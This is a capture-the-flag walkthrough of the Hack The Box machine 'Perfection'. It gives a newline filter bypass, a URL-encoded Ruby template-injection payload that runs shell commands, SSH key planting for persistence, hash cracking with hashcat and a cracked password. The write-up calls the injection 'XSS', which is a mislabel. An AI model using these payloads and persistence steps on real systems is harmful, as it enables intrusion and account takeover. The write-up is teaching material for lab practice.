Skip to content
Hack The Box1 min read

HTB - Perfection

Perfection - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Perfection#

NMAP

image1

  • On port 80 we get:

image2

  • After trying multiple characters, everything seems to be blocked by an XSS filter

image3

image4

  • But then I found the newline character %0A

image5

  • Open the request in Burp

  • Enter a value for category1 and add the %0A and then a 'malicious character' And now it doesn't seem to block it

  • Since this is using Ruby we need to construct Ruby code that gets executed within the <script> tags:

javascript
<script>document.write("<p>Server Hostname: <%= `hostname` %></p>");</script>

Now URL encode it:

js
document.write%28%22%3Cp%3EServer%20Hostname%3A%20%3C%25%3D%20%60ls%60%20%25%3E%3C%2Fp%3E%22%29%3B

The parameter category1 value will be:

javascript
one%0A<script>document.write%28%22%3Cp%3EServer%20Hostname%3A%20%3C%25%3D%20%60hostname%60%20%25%3E%3C%2Fp%3E%22%29%3B</script>

You must have the %0A there

image6

  • And we get the hostname back

  • XSS is successful

  • If we query id - we can see that we are user susan

image7

And that she has sudo rights as well

image8

  • After doing some enumeration on susan's home folder -we get a file with credentials /home/susan/Migration/pupilpath_credentials.db

image9

image10

  • We can connect to the box by: Create a SSH key pair
bash
chmod 600 id_rsa

<u>In Burp:</u>

bash
mkdir /home/susan/.ssh

touch /home/susan/.ssh/authorized_keys

echo "<id_rsa.pub>" > /home/susan/.ssh/authorized_keys
bash
ssh susan@10.129.208.176 -i id_rsa

image11

  • We find a credentials file and the type of SQL db used:

image12

image13

  • This couldn't be cracked using rockyou.txt

  • Further enumeration revealed the file: /var/mail/susan

image14

  • Create a python script to generate a wordlist I didn't do the whole range in one go, as the file would have been enormous:

image15

image16

  • After every generated list I tried it with hashcat:
bash
hashcat -m 1400 -a 0 hash list

image17

susan_nasus_413759210

  • And as susan has sudo rights:

image18

Hack The Box4 min

HTB - FormulaX

FormulaX - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • hashcat
  • nmap
  • privilege escalation
  • python
  • rce
Hack The Box6 min

HTB - Intuition

Intuition - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • ftp
  • hashcat
  • nmap
  • privilege escalation
  • python
Hack The Box4 min

HTB - Rebound

Rebound - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • kerberos
  • ldap